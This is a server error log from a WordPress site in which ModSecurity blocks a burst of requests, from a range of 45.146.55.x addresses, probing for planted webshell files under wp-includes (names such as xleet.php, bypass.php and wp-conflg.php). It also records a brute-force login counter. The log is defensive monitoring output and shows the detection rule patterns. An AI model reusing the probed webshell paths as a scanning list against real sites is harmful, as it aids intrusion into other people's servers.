[Sun Dec 07 05:06:15.357239 2025] [:error] [pid 13234:tid 13259] [client 45.146.55.42:59305] [client 45.146.55.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aTSax-6_dquQqQ60IZ-KBAAAAZI"]
[Sun Dec 07 05:06:17.085627 2025] [proxy_fcgi:error] [pid 34110:tid 34170] [client 45.146.55.27:21465] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:06:17.510735 2025] [:error] [pid 34110:tid 34188] [client 45.146.55.27:21465] [client 45.146.55.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aTSayQndtmtsHiXHBO2KIQAAAJU"]
[Sun Dec 07 05:06:18.786191 2025] [:error] [pid 7273:tid 7283] [client 45.146.55.61:62069] [client 45.146.55.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/db.php"] [unique_id "aTSayvpR7YTD7JcHjhGHHwAAAUg"]
[Sun Dec 07 05:06:24.627015 2025] [:error] [pid 34195:tid 34215] [client 45.146.55.42:28841] [client 45.146.55.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aTSa0BrSxOOdwv3vX3xKggAAANE"]
[Sun Dec 07 05:06:25.470573 2025] [:error] [pid 7089:tid 7102] [client 45.146.55.17:38093] [client 45.146.55.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aTSa0YJPZ-pZM-y51NHbLAAAAQs"]
[Sun Dec 07 05:06:26.310565 2025] [:error] [pid 13234:tid 13265] [client 45.146.55.46:60387] [client 45.146.55.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aTSa0u6_dquQqQ60IZ-KgQAAAZg"]
[Sun Dec 07 05:06:27.153634 2025] [:error] [pid 34108:tid 34129] [client 45.146.55.25:51683] [client 45.146.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aTSa06LvdvAppF-gXosbTQAAABA"]
[Sun Dec 07 05:06:28.010426 2025] [:error] [pid 34109:tid 34142] [client 45.146.55.43:29669] [client 45.146.55.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aTSa1IjE_vucgM_xD4Tp4wAAAEI"]
[Sun Dec 07 05:06:29.717513 2025] [:error] [pid 34110:tid 34167] [client 45.146.55.16:46363] [client 45.146.55.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aTSa1QndtmtsHiXHBO2K4gAAAIA"]
[Sun Dec 07 05:06:30.559865 2025] [:error] [pid 34109:tid 34147] [client 45.146.55.43:22159] [client 45.146.55.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aTSa1ojE_vucgM_xD4TqEwAAAEc"]
[Sun Dec 07 05:06:31.408206 2025] [:error] [pid 34109:tid 34154] [client 45.146.55.59:34215] [client 45.146.55.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aTSa14jE_vucgM_xD4TqHwAAAE4"]
[Sun Dec 07 05:06:32.693973 2025] [:error] [pid 34110:tid 34178] [client 45.146.55.36:63755] [client 45.146.55.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aTSa2AndtmtsHiXHBO2LCAAAAIs"]
[Sun Dec 07 05:06:34.403809 2025] [:error] [pid 34110:tid 34186] [client 45.146.55.47:57955] [client 45.146.55.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aTSa2gndtmtsHiXHBO2LHAAAAJM"]
[Sun Dec 07 05:06:35.291640 2025] [proxy_fcgi:error] [pid 7089:tid 7115] [client 45.146.55.47:52165] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:06:37.046971 2025] [:error] [pid 7089:tid 7101] [client 45.146.55.47:52165] [client 45.146.55.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.55.47, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aTSa3YJPZ-pZM-y51NHb3wAAAQo"]
[Sun Dec 07 05:06:39.753945 2025] [:error] [pid 7089:tid 7097] [client 45.146.55.47:52165] [client 45.146.55.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aTSa34JPZ-pZM-y51NHcBQAAAQY"]
[Sun Dec 07 05:06:40.602687 2025] [:error] [pid 34110:tid 34191] [client 45.146.55.51:35833] [client 45.146.55.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aTSa4AndtmtsHiXHBO2LWQAAAJg"]
[Sun Dec 07 05:06:48.814561 2025] [:error] [pid 7089:tid 7107] [client 45.146.55.40:56827] [client 45.146.55.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aTSa6IJPZ-pZM-y51NHceQAAARA"]
[Sun Dec 07 05:06:49.660481 2025] [:error] [pid 7089:tid 7112] [client 45.146.55.40:23043] [client 45.146.55.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aTSa6YJPZ-pZM-y51NHcgQAAARU"]
[Sun Dec 07 05:06:50.504512 2025] [:error] [pid 34109:tid 34153] [client 45.146.55.40:62745] [client 45.146.55.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aTSa6ojE_vucgM_xD4TrAAAAAE0"]
[Sun Dec 07 05:06:54.029874 2025] [:error] [pid 34109:tid 34155] [client 45.146.55.59:36785] [client 45.146.55.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aTSa7ojE_vucgM_xD4TrMQAAAE8"]
[Sun Dec 07 05:06:54.929634 2025] [:error] [pid 7273:tid 7296] [client 45.146.55.60:65291] [client 45.146.55.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aTSa7vpR7YTD7JcHjhGJLgAAAVU"]
[Sun Dec 07 05:06:55.778608 2025] [:error] [pid 7089:tid 7105] [client 45.146.55.40:28777] [client 45.146.55.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aTSa74JPZ-pZM-y51NHcqgAAAQ4"]
[Sun Dec 07 05:06:58.358904 2025] [:error] [pid 34109:tid 34147] [client 45.146.55.26:26359] [client 45.146.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aTSa8ojE_vucgM_xD4TrdwAAAEc"]
[Sun Dec 07 05:07:04.827337 2025] [:error] [pid 34195:tid 34212] [client 45.146.55.31:39287] [client 45.146.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aTSa-BrSxOOdwv3vX3xM_gAAAM4"]
[Sun Dec 07 05:07:06.556144 2025] [:error] [pid 13234:tid 13265] [client 45.146.55.55:28021] [client 45.146.55.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aTSa-u6_dquQqQ60IZ-MswAAAZg"]
[Sun Dec 07 05:07:12.105764 2025] [:error] [pid 34195:tid 34200] [client 45.146.55.32:34105] [client 45.146.55.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aTSbABrSxOOdwv3vX3xNpQAAAMI"]
[Sun Dec 07 05:07:13.875897 2025] [:error] [pid 7273:tid 7289] [client 45.146.55.16:60113] [client 45.146.55.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "aTSbAfpR7YTD7JcHjhGKFwAAAU4"]
[Sun Dec 07 05:07:17.349091 2025] [:error] [pid 13234:tid 13250] [client 45.146.55.26:40811] [client 45.146.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aTSbBe6_dquQqQ60IZ-NWAAAAYk"]
[Sun Dec 07 05:07:19.057154 2025] [:error] [pid 34108:tid 34120] [client 45.146.55.59:30267] [client 45.146.55.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aTSbB6LvdvAppF-gXosd4wAAAAc"]
[Sun Dec 07 05:07:21.713811 2025] [:error] [pid 13234:tid 13242] [client 45.146.55.45:62577] [client 45.146.55.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aTSbCe6_dquQqQ60IZ-NlQAAAYI"]
[Sun Dec 07 05:07:24.762003 2025] [:error] [pid 34109:tid 34145] [client 45.146.55.42:44485] [client 45.146.55.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aTSbDIjE_vucgM_xD4Ts2wAAAEU"]
[Sun Dec 07 05:07:26.480333 2025] [:error] [pid 34108:tid 34120] [client 45.146.55.30:37517] [client 45.146.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aTSbDqLvdvAppF-gXoseMAAAAAc"]
[Sun Dec 07 05:07:27.326796 2025] [:error] [pid 7089:tid 7101] [client 45.146.55.52:42139] [client 45.146.55.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aTSbD4JPZ-pZM-y51NHd3AAAAQo"]
[Sun Dec 07 05:07:30.340486 2025] [:error] [pid 7089:tid 7108] [client 45.146.55.57:36453] [client 45.146.55.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aTSbEoJPZ-pZM-y51NHeBQAAARE"]
[Sun Dec 07 05:07:33.439431 2025] [:error] [pid 13234:tid 13262] [client 45.146.55.33:34497] [client 45.146.55.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aTSbFe6_dquQqQ60IZ-ONAAAAZU"]
[Sun Dec 07 05:07:36.067972 2025] [:error] [pid 7273:tid 7289] [client 45.146.55.11:34719] [client 45.146.55.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aTSbGPpR7YTD7JcHjhGLLgAAAU4"]
[Sun Dec 07 05:07:36.916677 2025] [:error] [pid 7089:tid 7096] [client 45.146.55.56:31373] [client 45.146.55.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aTSbGIJPZ-pZM-y51NHeRgAAAQU"]
[Sun Dec 07 05:07:38.659474 2025] [:error] [pid 7273:tid 7288] [client 45.146.55.48:58855] [client 45.146.55.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aTSbGvpR7YTD7JcHjhGLVgAAAU0"]
[Sun Dec 07 05:07:40.811641 2025] [:error] [pid 7273:tid 7288] [client 45.146.55.58:34227] [client 45.146.55.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "aTSbHPpR7YTD7JcHjhGLfAAAAU0"]
[Sun Dec 07 05:07:41.658983 2025] [:error] [pid 34108:tid 34130] [client 45.146.55.50:41045] [client 45.146.55.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aTSbHaLvdvAppF-gXosfIQAAABE"]
[Sun Dec 07 05:07:45.088446 2025] [:error] [pid 34109:tid 34158] [client 45.146.55.34:60261] [client 45.146.55.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "aTSbIYjE_vucgM_xD4TtyAAAAFI"]
[Sun Dec 07 05:07:46.819182 2025] [:error] [pid 34195:tid 34205] [client 45.146.55.11:22267] [client 45.146.55.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "aTSbIhrSxOOdwv3vX3xPwAAAAMc"]
[Sun Dec 07 05:07:47.678909 2025] [:error] [pid 34110:tid 34186] [client 45.146.55.54:34001] [client 45.146.55.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "aTSbIwndtmtsHiXHBO2OagAAAJM"]
[Sun Dec 07 05:07:49.422145 2025] [:error] [pid 7273:tid 7280] [client 45.146.55.49:26963] [client 45.146.55.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aTSbJfpR7YTD7JcHjhGL6QAAAUU"]
[Sun Dec 07 05:07:50.702002 2025] [:error] [pid 34109:tid 34161] [client 45.146.55.59:60999] [client 45.146.55.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aTSbJojE_vucgM_xD4TuGAAAAFU"]
[Sun Dec 07 05:07:53.702866 2025] [:error] [pid 34109:tid 34162] [client 45.146.55.12:27929] [client 45.146.55.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aTSbKYjE_vucgM_xD4TuRgAAAFY"]
[Sun Dec 07 05:07:55.423842 2025] [:error] [pid 13234:tid 13255] [client 45.146.55.41:26331] [client 45.146.55.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aTSbK-6_dquQqQ60IZ-PcgAAAY4"]
[Sun Dec 07 05:07:58.133677 2025] [:error] [pid 13234:tid 13247] [client 45.146.55.48:50739] [client 45.146.55.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aTSbLu6_dquQqQ60IZ-PsgAAAYY"]
[Sun Dec 07 05:07:59.402690 2025] [:error] [pid 7273:tid 7296] [client 45.146.55.11:47643] [client 45.146.55.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/as.php"] [unique_id "aTSbL_pR7YTD7JcHjhGMegAAAVU"]
[Sun Dec 07 05:08:00.729895 2025] [:error] [pid 34108:tid 34134] [client 45.146.55.28:62577] [client 45.146.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aTSbMKLvdvAppF-gXosgBgAAABU"]
